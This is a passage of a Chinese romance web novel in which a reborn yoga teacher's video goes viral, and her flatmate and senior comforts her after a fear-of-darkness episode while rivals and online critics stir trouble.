“你的肩颈已经纠正了, 这几天不需要再上课。”高雯拿了两条弹力带，“上站姿吧, 训练腿部力量。” “不要啊——”林思悦苦着脸。 高雯走过来, 把弹力带给两人，轻声道：“站起来，调整呼吸, 左腿站立，把重心移到你的前脚掌——” 前三分钟，将林思悦和张妮两个人榨干大半, 后面的腿部力量训练也不轻松，一节课下来，两人衣服都湿透了。 她们瘫在瑜伽垫上，如同两条死鱼，累得没法翻身。 高雯还有课，给她们倒来两杯水才去上课。 缓了好一会，林思悦才侧头看向张妮，她有些沮丧：“张妮姐，这也太难了，好累啊。” “谁不是呢？”张妮叹气。 高雯这段时间帮她们调理了体态，林思悦的含胸驼背已经改善，张妮的走姿和腿型大有变化，基本都看不出来了。 她们的自信心爆棚，结果被这节课打回原形。她们要走的路，还很远很远。 “雯雯老师也就比我大两个月，人和人的差距怎么就那么大？那么累那么难的动作，她气都不喘——”林思悦话没说完，似想到什么，看向张妮。 张妮回望她，两人对视，都从对方眼中看到了希望。 如此高强度的动作，高雯做的这么容易，那不是—— 林思悦忍着浑身酸疼，爬起来去拿手机，一关闭免打扰模式，手机的提示声不断传来，她惊喜万分打开。 下一秒，她猛地弹坐起来。 张妮被她吓得一哆嗦。 “火，火——”林思悦面露惊愕，激动得都说不出话，结结巴巴。 “什么？”张妮用手撑着瑜伽垫，艰难起身，凑过去看。 待看清后，她也双眼睁圆。 “视频火了！火了！”林思悦看着右上角变成省略号的消息提示，恨不得蹦起来尖叫。 她拍摄了那么多条视频，都没这个有热度，真是做梦都想拍出这样的一条视频。 这算梦想成真！ 点赞上万，评论都上千条了，林思悦点开。 高赞评论道：【抬腿就是一字马，动作一气呵成有观赏性。极致的柔韧度、极强的专注平衡，极稳的核心力量，是我心目中内观流的顶级天花板。】 下面评论还在不断增加： 【只有瑜伽人才知道她这段内观流多么厉害，行云流水的背后，没几年苦功夫做不成，只想说一句：牛逼！】 【力量、柔韧、控制力，缺一不可，真的好稳啊。】 【我没学瑜伽都觉得她好厉害，身材线条很好，但一点都不起邪念，就觉得很优雅柔美。】 【她的关节真灵活，每一个动作都感觉要把我送走哈哈哈。】 【弱弱问一下，我要是来上这一套，百万医疗够不够用？】 林思悦看着有些网友的评论，疯狂想点赞。 她刚刚试了三分钟，休息五次，真的会把人送走！ 全身骨折那一种！ 张妮可没心思看什么评论，她扶着腰起身，对林思悦道：“别发愣了，快快快，我们的机会来了，快起来工作！” “好！” 两人是腰也不疼腿也不痛，浑身都是干劲 高雯上了三节课后，才从众人口中得知，她拍摄的视频火了。 播放量达到好几十万，点赞都破十万了，下面的评论都有三万，收藏和转发也都上万。 “这么多？”高雯走到一边，给自己倒了杯温水，小口小口喝着，并没有太放在心上，只是道，“看来大家爱看这种，你们以后可以多多拍这个题材。” 既然这一招有用，馆里有那么多老师，都可以拍了视频上传。 这几年，高雯专注于提升自己，对于网络社交平台，并没有太过接触。 她并不认为自己火了。 如今信息大爆炸，网络流量稍纵即逝，别说是她，就连明星都保不住自己的流量，过两天，大家就把这事忘了。 张妮和林思悦则喜不自胜，徐眉得知消息，给馆里所有人都点了奶茶和蛋糕水果，不知道的还以为要开庆功宴了。 徐眉还承诺，要是业绩有所提升，要给张妮和林思悦算提成。 两人那是成就感满满。 林思悦回家的时候，都是哼着歌回去。 姜舒妍这几天来林家有些频繁，她今天拎了一箱大闸蟹上门，正在和林母笑着说家常，林珩坐在一边，正在回客户消息。 “小悦，什么事这么高兴啊？”姜舒妍见林思悦乐呵呵，笑着问。 “我和张妮姐拍了一个视频，上传到网上后，火了！”林思悦说着就激动，“播放量都破百万，点赞十三万，我们视频号的粉丝都涨了五六万，馆长还说要给我们发奖金。” “真的？”林母笑开颜。 林思悦之前不肯实习，不肯上班，就窝在家里颓废，把她愁坏了，现在上班锻炼还有起色，真是一件大好事。 “你拍了什么视频，热度怎么这么高？”姜舒妍怔了怔，笑意收敛了些。 这些年来，姜舒妍都没有上过班。她在穿书前，能力平平，过着底层生活，后来穿书后，也不知道要做什么，更不愿意为了几千块去上班，所幸这张脸长得好看，她就做起了自媒体，希望能成为大网红。 姜家在二环有套四合院，姜舒妍平时自己住一套大平层，她平时就拍拍护肤，拍拍美妆，“不经意”拍拍大平层和四合院，炫富也是赛道，视频还算有流量，被粉丝称为“京圈大小姐”。 姜舒妍做自媒体很多年了，砸进去不少钱，勉强有个二十万粉，也算有份事业，收入相对于她的支出可以忽略不计。 也有品牌方找她直播带货，但都是小品牌。姜舒妍觉得自己是女主，不能降低身份，以后可是要大火的。 林思悦进入自媒体还是姜舒妍教的，对方这个视频怎么突然爆火了？ “我们拍雯雯老师啊，她可厉害了，一段内观流，跳得实在太好，网上的人都把她夸疯了，”林思悦把手机掏出来，声线拔高，“点赞还在涨！又涨一万了！” 听到高雯的名字，林珩才抬起头。 林思悦还在继续夸高雯，恨不得把所有的夸赞都用在她身上。 “她和你一样大，才入行多久？”林珩插了一句。 “对啊，你今年才实习，大学都没毕业，”姜舒妍接着话，特意强调，“她是没读大学吗？” 学历很重要，姜舒妍很庆幸，她穿过来的时候，女主读完大学毕业了，虽然比不上林珩的A大，但也是个双一流。 林思悦反驳：“哪有，雯雯A大的，她也还在实习，都没毕业。她上大一的时候就练瑜伽了，每天都练几个小时，雷打不动，那么美又那么自律，不仅学瑜伽，还学营养学和康复学，还看临床医学，真是太让我佩服了，她就是我的女神！” 林珩听到林思悦的夸赞，脑子里对高雯的印象在一起加深，她的确勤奋上进，初到办公室，还会加班做笔记，不懂就问，原来她做什么事，都会这么认真。 林思悦的夸赞还在继续，姜舒妍面上的神色已经维持不住。 以前，林思悦说她才是她的女神，崇拜她，黏着她，要让她当她嫂子，但都没这么夸过她。 一切都偏离了姜舒妍的掌控，她重新挤出一抹笑，好奇凑过去：“小悦，我看看你拍的视频。” 姜舒妍在看到视频时，因为灯光昏暗，只能看清里面人的身体线条，那张脸很模糊。 等到她再定神一看，那张脸美得太有辨识度，让姜舒妍一下记起了这个人物。 * 夜里。 高雯回到出租屋。 今天的视频的确很火，晚上下课后，会员都拉着她讨论，她们都想拍这样的视频，想要美美出圈。 徐眉说接下来两天会排一两节让她们试一试。 她们都知道很难，会员也知道，但都和张妮还有林思悦一样，不试试，怎么会死心呢？也算激励一下。 这么一耽搁，高雯回来就晚了。 她照例先洗澡护肤，在睡前会看看论文资料，准备开题答辩和之后的初稿。 因为工作太忙，只能每天睡前处理一点点，这样的话，压力也不大。 半个小时后，高雯打了哈欠，睡眼朦胧，她将资料放好，掀开被子上床，闭眼正准备入梦。 轻微“嘭”一声，高雯疑惑睁眼，房间已经陷入黑暗。 霎那间，高雯心口乱跳，脖颈发硬。她着急忙慌伸手，要去拿手机打开灯，因为太着急，手一乱挥，手机掉在了地上。 漆黑的四周，高雯什么都看不到，她浑身的力气倏然抽离，宛如坠入冰窖，难言的恐惧将她一遍又一遍席卷。 前一世的记忆入潮水般袭来。 脏乱差又狭小逼仄的出租屋里，蜷缩在床上两眼无神，饱受抑郁症和焦虑症折磨的她，在求生和求死的边缘不断挣扎。 在很长的一段时间，她都忍痛着精神折磨和□□摧残，孤独、悲惨、可怜的死去，直到身体慢慢变得发臭，甚至会被老鼠啃食。 高雯的每一个毛孔都感受到了彻骨的寒意，她极力压住眼底的酸胀和喉咙的哽咽，用尽力气翻身，想要捡起手机。 没事的，没事的，都过去了。 开灯就好。 高雯的手在黑暗中摸索，“砰——”一声，讲话床头柜上的水杯碰倒，陶瓷杯装着满满的一杯水，狠狠砸在地上，瞬间破碎。 此时听觉变得异常灵敏的高雯被吓得惊恐万分，全身像游丝一样颤抖不停，仿佛被无名的恐惧揪住，不断往深渊里拉。 “高雯？” 门外传来了方寒的声音。 这道温润的声线，就像一道光线，让被困在房里，快要溺水的人，抓到了一块浮木。高雯拼命想要抓住，她张了张口，发现自己发不出声音。 “你没事吧？”方寒又问。 “砰——”高雯弄掉了在桌子上的台灯。 “高雯？”方寒听到声音，蹙着眉头往房门走进，他抬手，轻轻敲了敲房门，随即用手机给她打了视频电话。 掉落在角落的手机亮了起来，微弱的灯光让高雯感觉自己能喘上气了，她拖着疲软的身体，艰难下床，扶着墙，跌跌撞撞往房门走。 每一步，都用尽了力气。 方寒没听到房里的动静，打电话也没接。 他看了眼时间，这个时间点，她应该是睡了，难道他刚刚听错了？不是她房间发出的声音。 就在方寒犹豫要不要回房，房间发出轻微的声音。 门慢慢打开了。 看到亮光的那一刻，高雯眼前一黑，脚下软得往前栽去。 方寒连忙伸手扶住她，望着她惨白的脸色和脸上惊惶的表情，他心下一紧，下意识往房间里看，关切道：“你怎么了？” 高雯没说话，眼神里都是无助，抓住方寒的手很紧很紧，用力到他都觉得有些疼。 她如同惊弓之鸟，手非常冰凉，脆弱又迷茫。 “我先扶你去沙发上坐一下。”方寒把她扶起来，高雯完全使不上劲，往他怀里倒。 方寒有力的手臂环着她，带着她往沙发走。 高雯坐在沙发上时，下意识往角落里缩，像只受伤的可怜猫儿，警惕看着周围的一切，忐忑又不安蜷缩着自己手，她的眼眶有些水润。 方寒记忆里的高雯，闪着耀眼的光芒，永远笑意盎然，自信张扬，带着向上的一股韧劲儿，他没有见过她这一面，脸色担忧心疼。 “没事了，喝点牛奶。”方寒去厨房热了一杯牛奶，端出来给她。 高雯看着方寒，眼神有些闪躲逃避，还带着难过。 她以为，重来一世，之前的都不做数，她可以活出自己想要的人生。 可，那些经历对她的影响，还真真实实存在。 她恐惧黑暗，生理上也有反应，这让她很惶恐。 面对方寒，高雯还是很愧疚。 她从来没有想过伤害他，真的没有。 “今天刚买的鲜牛奶，很好喝。”方寒俯身，把牛奶放在她的手上，清润透亮的眸子望着她，嗓音清缓，“无论发生了什么，都会过去，也总会解决。没关系。” 高雯的动作有些慢半拍，她看着手上的牛奶，慢慢抬起来，放在嘴边喝下一小口。 温热醇厚的牛奶入喉，一点点在抚平她内心的害怕不安。 “我先回房，很快出来。”方寒说着，快步往房间走。 方寒一离开，高雯握着牛奶的手收紧，害怕的情绪还未涌上来，他就出现了，手上还拿着一个药箱。 他坐在沙发上，看着高雯的脚，眉头拧得更紧：“你的脚受伤了。” 高雯低头，看到地上有一丝血迹，她轻轻摇头。 不疼，没事。 “我先帮你上点药，明天就会好很多。你还要去上班上课，伤口拉扯会有影响，可以吗？”方寒询问她的意见。 高雯没有第一时间回话，看着方寒担忧着急的神色，又轻轻点了点头。 方寒狠狠松了一口气，把椅子拿过来，让她放在上面。 高雯的脚底被割开一道几厘米的伤口，倒不深，但她的肌肤太白皙娇嫩，显得有些触目惊心，方寒都深深吸了气，拿过棉签，沾了消毒水，抬眸看向她柔声道：“我会轻一点，可能会有点疼。” 方寒的动作特别轻，高雯一声不吭。 他换了棉签，又对她说道：“要是疼的话，你就告诉我。” “嗯。”高雯其实是个极其会忍疼的人，方寒这么说的时候，她的腿微微往后缩了缩。 “我轻一点。”方寒下意识缩回手。 高雯看着低头的他，眼底思绪流转，她找回了自己的声音，声线低低说道：“我房间里的灯坏了。” “我一会帮你修，可能是灯泡坏了。”方寒接她的话，“换上灯泡就好了，很快的。” 高雯：“我打翻了水杯。” “应该是碎片割到了，下次小心一点。”方寒替高雯清理了脚底周围的血迹，用止血贴帮她贴上，收起药箱，重新看向她，“我去看看，你一个人可以吗？” 高雯点头。 “好，有事叫我。”方寒起身，往高雯房间里走，他看了灯泡，拉着她掉落的手机里走出来。 他把手机给高雯，“应该就是灯泡坏了，买个灯泡换上就好了。” 方寒在网上下好单，坐在沙发边上，陪着高雯。 她捧着牛奶，坐在沙发上，很温顺乖巧，没有说话，不知道在想什么。 期间，方寒起身走到厨房，从冰箱里拿出一个芒果，用温水泡了泡，切好之后端出来，把叉子放在她手里：“今天的芒果很甜，听说甜的东西，能让人心情变好，你要不要试试？” 她喜欢吃芒果，所以他只要去超市，都会买。 如果她不吃，他才会吃掉。 高雯拿着叉子，看了看芒果，她戳了一块，往自己嘴里送。 芒果的清香甘甜，瞬间在她味蕾绽放，她的思绪也被刺激回笼。 “是不是很甜？”方寒看着她，笑着问，就像在哄一个受了委屈的孩子，语气都特意放轻柔了。 “嗯。”高雯点头，又吃了一块。 “多吃点。” 方寒说完这句话，高雯就把叉子给他，把芒果递到他面前，那双似水的清眸注视着他，分外灵动。 第22章 第22章 有事打我打电话，不用怕麻烦…… 外卖员送来灯泡后, 方寒拿着灯泡去了高雯的卧室。 高雯起身，跟在他身后。 卧室很暗，方寒把窗帘拉开, 有了点亮光, 他回头对高雯道：“别进来，地上都是碎片, 你先去沙发坐会，马上就换好了。” 高雯没走，她就站在门口, 手里还捧着那杯牛奶。 屋内黑漆漆，那股压抑的情绪又往上涌, 但她看着在房间里的方寒时，奇怪的感觉消散不少, 内心逐渐趋于平静, 带着一种淡淡的安心。 方寒的动作很快, 他搬来一张椅子，站起来伸手就能把坏的灯泡旋下来, 换上新灯泡后, 屋内变得灯火通明，亮光让高雯都眯了眯眼, 不太适应。 “好了。”方寒从椅子上下来, 嘴角噙着淡淡的笑对高雯说，“别怕，没事了。” 高雯看着屋内, 方寒将地上的台灯捡起来，重新插上电线，又拿来扫把, 细细把地上的碎片清理。 因为杯子里装满水，导致地面湿哒哒，他来回仔细拖了三遍，用吸尘器打扫角落，生怕遗漏了碎片。 高雯静静看着方寒，心里说不出是什么感觉。 她此时还有点没回神。 打扫好后，方寒检查了一遍，这才走出高雯的房门，看着她问：“你一个人可以吗？” 高雯轻轻点头。 她可以。 “有事就打我电话，不用怕麻烦我。”方寒认真对她说。 “嗯。” 夜渐渐深了。 高雯躺在床上，她看着天花板，没有困意。 方才的余惊未消，导致她现在闭眼都会呼吸急促。 心里乱成一股麻绳，找不到方向头绪。 方寒进屋后，当天晚上先后出来好几次，每一次，他都没开客厅灯，透过门缝，他能看到主卧折射出来的亮光。 灯还亮着，那就好。 * 清晨。 高雯昨晚没休息好，今天早上没早课，醒得有点晚。 磨磨蹭蹭九点才起，对她来说，算赖床了。 洗漱好后，高雯看到方寒一个小时前给她发的消息：【醒了吗？你昨晚应该睡得不算好，我给你煮了小米红枣粥，养血安神，起床记得吃一点再去上班。】 高雯看到消息的时候，昨天的场景又在脑海里浮现。 方寒极大程度上安抚了她的忐忑无助，将她从溺水的深渊一把拉了出来。 高雯开门时，方寒正在给饮水机换水。 “早！”方寒扬起一抹淡笑，“吃点早餐？” 他特意煮的，高雯没法拒绝，“好，你吃了吗？” “还没来得及，正好一起。”方寒说着，走到厨房，“稍等。” 方寒盛了两碗粥走出来，放在高雯面前，还切了几片面包拿了水煮蛋：“面包是无糖全麦的。” “你喜欢吃无糖全麦的面包啊？”高雯看了眼面包突然抬头问他。 方寒被她看着，手心微微出汗，哪会说谎，如实道：“还好。” 他见她都只吃这个，就买了这个。 高雯唇角微微往上勾了勾，她拿起一块全麦面包，掰了往嘴里送：“我不喜欢，干巴巴又粗糙没味道，不过习惯了。” “吃得健康点没什么不好。”方寒说。 高雯喝了口小米粥红枣粥。 面包虽无味，但粥的口感绵密醇厚，带着回甜，很暖胃。 方寒温声问：“脚上的伤，好点了吗？” 他一句话，把高雯拉回到了昨夜的回忆，她喝粥的动作顿了顿，紧接着若无其事继续小口喝着，脸上泛着笑意：“伤口很浅，没事了，昨晚麻烦学长了。” 之前那么难，她都能熬过来。 现在又算什么呢？在高雯心里，什么都不算，她是一个行动力很强，不会自我内耗的人。 “那就好。”方寒放下心，将剥好的鸡蛋，放在高雯的碗里。 “谢谢。” 两人吃完早餐一起下楼。 方寒上班的公司和高雯上课的商场在一个方向。 太阳刚刚升起，阳光照射在身上，带着暖意，高雯抬眼看着湛蓝纯净的天空，万里无云，她深深吸了一口气，感觉一阵轻松。 “天气真好。”她说着，往前走的步伐轻快，脚踏在鹅卵石上，手跟着不自觉摆动。 方寒放慢了速度，慢慢跟在高雯身后，温柔的视线一直落在她身上，嘴角不自觉扬起一抹浅笑。 * 高雯来到瑜伽馆时，发现休息室里坐了不少人。 张妮在前台忙疯了，一个电话刚挂断，另一个电话又打进来，她快速接起来：“您好，语禾瑜伽馆。您可以在线上购买我们的体验课，也可以直接过来店面，都是一样的价格。” “今天的大课在一会的十点，或者晚上的七点。你说的是雯雯老师的课吗？她的小课和大课都约满了，最快要三天后。” “雯雯老师暂时没有私教课，不好意思。” 张妮在忙碌的时候，林思悦正在给顾客倒茶，她拿着手机，随时记录拍照。 休息室的不少顾客在看到高雯来了之后，偷偷摸摸看她，还有人悄咪咪拍照。 高雯将外套脱下，放包包的时候，被张妮拉到一边，她压低声线，语气里是难掩的激动：“雯雯，你火了！你真的火了！” 昨天视频的后续，高雯压根没关注，据张妮说，经过昨天晚上的发酵，视频点赞都破了五十万，上了热搜，早上到现在已经有几十个人打电话咨询，来店里的人也不少。 好多人点名要上她的课。 “馆长说，等你来了之后，再问问你，下午和晚上要不要多排两节你的课？现在排队的会员也很多。”张妮又说。 “排吧，我没问题。”高雯说完笑着道。 张妮正要继续说话，电话又来了：“你好，语禾瑜伽馆。” 高雯没打扰她工作，拿着保温杯走到一边，打开之后慢慢喝了口。 里面是方寒给她煮的玫瑰合欢茶。 她平时都尽量避免喝甜的东西，喝水就只是温开水，或者下火的菊花茶。 今天早上，方寒煮的粥虽然没放糖，但红枣微甜，这杯茶，喝下去也有一丝丝很淡的甜味，好像是蜂蜜。 但她并不反感，甚至觉得好喝。 高雯来到教室，铺好垫子后，把所需要的教具放在旁边，坐在自己的垫子上，趁着学员没来，舒展身体后压了腿，拿过手机搜索。 玫瑰合欢茶。 配方：干玫瑰、合欢花、少许冰糖或蜂蜜。功效：玫瑰花“行气解郁”、合 欢花“解郁安神”，舒缓因情绪导致的心神不宁，能让人心情放松。 高雯不知道这个花茶有没有效果，她记住了方寒说的一点。 甜味，是能让人心情变好的。 “雯雯老师，早上好。”有个会员推开门，看着她笑得灿烂。 高雯收起手机，笑容明艳：“早上好呀。” 会员：“我昨天晚上看了你的视频，跳得真好啊，简直是太厉害了，我什么时候能练成这样？” 高雯在一整天，几乎每个小课会员都会问她这样的问题。 她下午本来只有一节大课，临时又加了一节，平日里不怎么来上课的会员，都争抢着要来上。 一整天，签下的会员，都要比得上之前一周了。 张妮和林思悦还有新来的前台脸都笑成一朵花，毕竟提成不低，成就感更是满满。 这一波流量带来的效果，让高雯都有些诧异。 为了更好地接住这一波流量，下班后，馆里所有人都要留下来，徐眉要开个全员会，在会上，她先表扬了张妮和林思悦，要给她们涨工资，随后又看向高雯道：“我们也要感谢雯雯老师的牺牲奉献，因为这个视频爆火，我们的视频号，已经成功破了十万粉丝了！” 每个人都因为这一场流量，带来或多或少的利益，馆里的排课都多了。 大家看向高雯，纷纷鼓掌。 高雯不想当出头鸟，她半开玩笑道：“我希望其他的老师也能牺牲牺牲自己，这么大的馆，压力不能我一个人担着。” 视频号是馆里的号，要是只捧她一个人，其他老师难免有意见。 况且，这么大的流量，她一个人也接不住，独揽着对她来说不是一件好事。 此言一出，大家都笑了。 张妮立即道：“都拍，都拍，我们一个都不会放过，”说完，她指着馆里一个个老师，“下次拍你，拍完你的拍你的，拍完你的拍你的，放心，我们心里都有数！” 因为她这话，氛围异常和谐。 高雯接到方寒的消息，有些分心。 方寒：【下班了吗？你没吃饭的话，一会一起吃个饭？】 方寒：【图片】 他发的是他在超市的照片，购物车里已经堆满了一车的食材。 高雯放大照片后细细看，她低着头回他消息：【学长，你怎么还买了这么多蛋糕和面包？】 方寒：【今天下班晚了，超市打折。】 高雯：【】 倒也不必这么勤俭持家，这家超市的东西不便宜。 方寒又解释：【不小心拿多了。】 他光想着她这两天心情不好，可能会想吃，万一呢？ 高雯：【今天有点忙，还没来得及吃饭，我还没下班，在开会。】 高雯：【虽然不是放纵日，但运动量很大，可以放纵一下。】 方寒看到她回的消息，唇角抑制不住上翘，他推着购物车往有机蔬菜区走，拿着食材仔细分辨。 买多了，他也有经验了。 一个长相清俊出挑，身材颀长的男人，推着购物车在细致购买食材，根本就是一道风景，不少人从方寒身边走过时，都会下意识瞅上两眼。 他的身上自带干净清爽的气息，让人觉得温柔舒服。 有的胆子大的女生，还会上前，主动道：“能，能加个联系方式吗？” 方寒先是一愣，似乎对这种情况习以为常，婉拒得很礼貌。 女生离开后，再一次恋恋不舍回头看，方寒正低着头，含笑拿着手机在打字，他的手节骨分明真好看。 也不知道哪个女生那么幸运，有这么帅这么温柔体贴的男朋友！ 没一会，高雯收到了消息。 方寒：【清蒸鳕鱼、莴笋木耳炒肉、香芋蒸排骨，香菇滑鸡，山药红枣鸽子汤。你还有没有什么想吃的？】 高雯看着食谱，已经完全听不进去徐眉在说什么了。 她的走神被徐眉发现，对方唤了一声：“雯雯老师？” “嗯？”高雯抬头。 “你有什么想说的吗？”徐眉笑着问。 高雯喝完保温杯里最后一口水，无奈抿唇轻声道：“我饿了。” 徐眉都被逗笑，会议室里再次传来一阵阵笑声。 高雯叹气。 真饿了啊，看到方寒发来的食谱后，更饿了。 下班后。 高雯就往回赶，步伐匆匆，肚子也越来越饿。 一出电梯，高雯灵敏的嗅觉就闻到了传来的香味。 脸上抑制不住露出笑意。 今天上课挺累的，这一刻有了些缓解。 高雯打开门，看到从厨房走出来的方寒，他的身上系着围裙，上面的图案是一只拿着锅铲的可爱小熊，还写着：好好吃饭 她笑意加深，声线清软道：“我回来了。” “开了这么久的会？”方寒接了话，快速又折回厨房，接着翻炒饭菜。 “嗯，最近馆里生意不错，全员开会总结，大家都加班。”高雯换了鞋，把包包放回自己的房间，声音远远传来，“接下来的一段时间都会比较忙，课会变多。” “那也算好事吧？”方寒关了火，将饭菜装盘，把锅放在水池里，打开水龙头冲洗，顺便把养生壶拿到客厅，放在桌子上。 “是好事呀，大家都能多赚钱。”高雯走出来，看到桌子上的养生壶，“今天的茶没有了吗？” 今天是玫瑰合欢茶，现在不是了。 “马上要吃饭了，吃太甜的东西饱腹。”方寒的声音从厨房传来，他手上的动作加快，“最后一道菜，炒好就能吃饭了。” “这是什么茶？”高雯倒了一杯，坐下来喝了一口，脸色骤变，身子都抖了抖，“酸酸的味道。” 方寒：“百合枣仁。” “噢。”高雯了然，她又喝了一口，还是不能适应这个味道，奇奇怪怪的茶。 她本来不想喝，因为好奇，拿着手机查了查这个茶的功效。 百合枣仁茶：经典安神茶，养心除烦、安抚情绪，治疗失眠心悸。 高雯反复看着这一行介绍，她垂眸看着手中的茶，又看了看厨房里忙碌的方寒，心里突然有些涨涨。 她早就刻意遗忘昨天的事情，只是他还记得。 高雯举起杯子，将那杯茶喝了几大口，起身往厨房走去。 她走近方寒，在他身后探头道：“有什么需要我帮忙的吗？” 方寒正掀开炖汤的砂锅盖子，正想回头问问高雯要不要先喝汤暖胃。 他没料到她走进来，两人还离得这么近，四目相对，她乌黑清澈的眼眸近在咫尺，两人的呼吸瞬间交织。 方寒手一抖，砂锅盖子要滑落的时候，他伸手抓住边缘，快速放在灶台上，被烫得眉头皱起。 “你没事吧？”高雯也被吓到。 “没事。”方寒已经打开了水龙头，用冷水冲洗着那半边手，“不算太烫，冲一会就好了。” 高雯看着冒着热气的砂锅，她折回了房间，拿出来一支药膏。 方寒见此道：“不用麻烦，不严重。” 高雯没接话，等方寒的手冲了一会冷水，伸手去拉他的衣角，带他往外走：“过来。” 她压根没用力，只是两根指尖揪住他的衣角，方寒就这么跟着她走出去了。 到了客厅，高雯抽出几张纸，递给他：“把手擦干。” 方寒仔仔细细擦拭自己湿漉漉的手，还笑着道：“就是有一点点泛红，没起泡，不算大问题。” 再说了，他是男人，肌肤比她粗糙很多，皮实，没烫到她就好。 “只要红了，就会疼。”高雯说着，打开了药膏，“这是纯的芦荟膏，很清凉，对烫伤很有用，擦上就不疼了。” “我爸以前教我的，我家里他负责做饭，经常被烫伤，所以我们家种了几颗芦荟，每次他被烫的时候，我就帮他去摘，擦上就好了。” 方寒没再否认，离开了冷水，被烫到的地方是有些火辣辣疼。 高雯拉过方寒的手，肌肤触碰间，他浑身温度攀升，心仿佛被一根丝线轻轻牵扯，酥酥麻麻，连呼吸都变得小心翼翼。 她的肌肤白皙细嫩，和他形成对比。 清亮的芦荟膏涂到方寒的手指时，他的痛意立即减少，脸却格外炽热，眼梢薄红。 “要涂得厚一点，效果更好。”高雯涂完，用止血贴给他贴好，“这样不容易蹭到。” 她的动作很熟练，看来以前没少干这活。 “好了。”高雯收起药膏。 “吃饭吧。”方寒收回被她握住的手，放在身后，指尖无意识蜷缩着，怕被她发现不自然。 “嗯，”高雯往前走了半步，“你的手不方便，我来端。” “不用，”方寒连忙阻止，他怕高雯去碰，情急之下，把两个碗塞给她，“你打饭就好，我来。” “你可以吗？”高雯担忧问。 方寒还没接话，就已经端着两盘菜出去了，他余光一直盯着高雯，提心吊胆。 他来来回回把菜端出去，速度快到高雯才打好了一碗饭。 “我来吧。”方寒接过勺子，让高雯先出去。 她实在不适合这个地方，要是被烫到，不知道要比他严重多少倍。 高雯今天胃口很好。 运动量达到了，饭又吃得晚，难免多吃点。 她和方寒也很久没坐下来好好吃顿饭了。 高雯并未受昨晚情绪影响，和方寒聊了会论文。 马上临近开学，她的论文开题即将定稿，说起开题答辩，还是有些紧张。 导师有些严厉，大家都难免挨骂，这件事是高雯近期的烦恼。 说起这个话题，能聊的太多了，比起方寒研究生的毕业论文，她的开题答辩简直是小儿科，但方寒说的不是这个，答辩中的趣事和导师骂人花样的不重样，才是聊天的重点。 每一届，总有那么几个神人。 高雯吃着饭，听得认真仔细，时不时还笑出声，眉眼都弯了，为了维持大美女的矜持，轻轻捂了嘴。 她内心的紧张忐忑，被方寒的轻描淡写缓解大半。 “答辩不会不过吧？”高雯问。 方寒：“怎么可能？” “你又不是导师。”高雯说。 方寒拿着勺子往她碗里盛汤，给她盛了不少瘦肉，希望她多吃好好补一补，嗓音清缓笃定道：“别担心，你那么认真，要是你不过，别人要怎么办？” 高雯看着面前的碗，又看了看方寒，笑颜逐开：“你说得对！” 许菲回来时，高雯已经回房洗澡了。 方寒也正准备回房，他看到许菲道：“给你留的饭菜在冰箱里。” 他们两个人吃不完，所以专门给许菲留了一份，对方明天可以直接拿去公司当午餐。 “你们吃了什么？”许菲走到冰箱，打开后看到里面的四菜一汤，瞪大眼，“吃这么丰盛呢？！还给我留了这么多？” 不仅能当午餐，晚餐都能当了，明天能省两顿饭钱！ 方寒：“冰箱里的面包和蛋糕，你可以尝尝，我今天买的。” “喔——”许菲从里面拿出一个蛋糕，走近方寒，笑着调侃道，“你亲亲学妹啥时候跟你好啊？我都替你着急了。” “你别乱说话。”方寒下意识看到主卧房门，生怕被高雯听到，他转身往房门走，步伐有些凌乱，像是落荒而逃。 许菲的声音在身后传来：“我是在教你主动一点，圆滑霸道一点，不然小心被抢走哦。” * 市中心的某高层写字楼。 林珩抬手揉了揉酸胀的眉心，他的身体往后靠，拿过手机，打开了短视频平台，轻车熟路点进收藏夹，点开里面唯一的视频。 昏暗的灯光背景下，高雯的身姿柔软优美，动作丝滑有力量。 昨天才勉强破十万的点赞，今天就一路飙升，翻倍再翻倍，看这架势，点赞能冲百万去。 他点开评论区，重温一下夸赞她的话。 这些网友夸人不重样，甚至有人都开始说：【一条优雅美丽的白蛇化成人形罢了，你我动物属性不同，没什么好比的呜呜】 高雯在这方面有这么深的造诣，林珩属实没想到，大抵是因为之前对她太过于轻视，总觉得她一个实习生，心高气傲，不知自己几斤几两，如今想来是他妄下定论。 在林思悦的描述里，高雯平易近人，脾气很好，而且很能吃苦，上课时间都是排满的。收入肯定远比实习这六千高上不知道多少。 对于一个未毕业的学生，的确是优秀。 林珩自诩看人很准，这一次倒是看走眼，估计在高雯眼里，都把他当成了自我无理的老男人。 他正想着，滑动的手指停住，顶着好几条不和谐的言论。 【这人不是梵盈不要的兼职老师吗？梵盈不要的老师，怎么变成网红？】 【对啊，据说还把人练受伤，转眼就变成厉害的瑜伽老师了？服气！】 【一看就是想炒作当网红，都不知道有没有瑜伽证，大家还是小心为甚吧，都是营销出来的人设。】 【上过她的课，服务态度不好，为人傲气欺负人，劝退！】 林珩看着不断出现的负面评价，已经有了不好预感。 他打开微信，找到高雯，打开聊天框，看了看时间，给她发了一条：【在？】 下一秒，林珩面色黑沉。 第23章 第23章 学长，我还真有件事想请你帮…… 高雯这几天忙得脚不沾地。 之前为了引流量, 语禾瑜伽馆推出9.9元一节的体验大课，视频爆火了之后，在网上卖了两千多单, 一节大课顶多容纳三十个会员。 绝大部分的会员都是冲高雯来的。 高雯原本一天最多上一节大课, 现在是三节，加上小课地面瑜伽、普拉提, 维密瘦身，她的时间被安排得满满当当。 为了接住这一波流量，馆里每一个人都很忙, 为此还多请了一个前台，还有两个兼职专门招待客户。 网上虽然有一些负面声音, 但张妮和林思悦也不是吃素的，她们投入了一些流量和水军, 一切目前还在可控范围, 馆里预约都在爆满状态。 张妮都忙出了黑眼圈, 顾书杰每每说到这个事，就无奈拍打扶额。 方寒一到公司, 顾书杰叹着气道：“你嫂子也加班去了, 我就不明白，家里有一个人当牛马就足够, 她现在也去当牛马, 赚那么多钱有什么用呢？” 方寒知道这事，据说张妮去瑜伽馆锻炼，后来给瑜伽馆当网络营销去了, 可能是因为高雯，他对这种馆子印象还不错，打开电脑接话道：“嫂子比较喜欢吧。” “总要有个人享受生活啊。”顾书杰拍了拍方寒的肩膀, “不过你还是要更努力，像你嫂子一样有事业心，想着给我分担的女人真的不多。” “嗯。”方寒点头。 高雯最近回来很晚，他也不想过早回去休息，显得自己很无所事事。 顾书杰：“上次的项目费，等这个项目结束再一起给你。” “好。” 半个小时后，张妮来了，还给办公室的人买了汉堡和咖啡。 顾书杰把东西拎进来，满脸笑意高声道：“你们可都是托我的福啊，你嫂子买来给我的！不然你们可吃不上！” “谢谢哥。” “嫂子对你真好。” “嫂子可真疼你。” 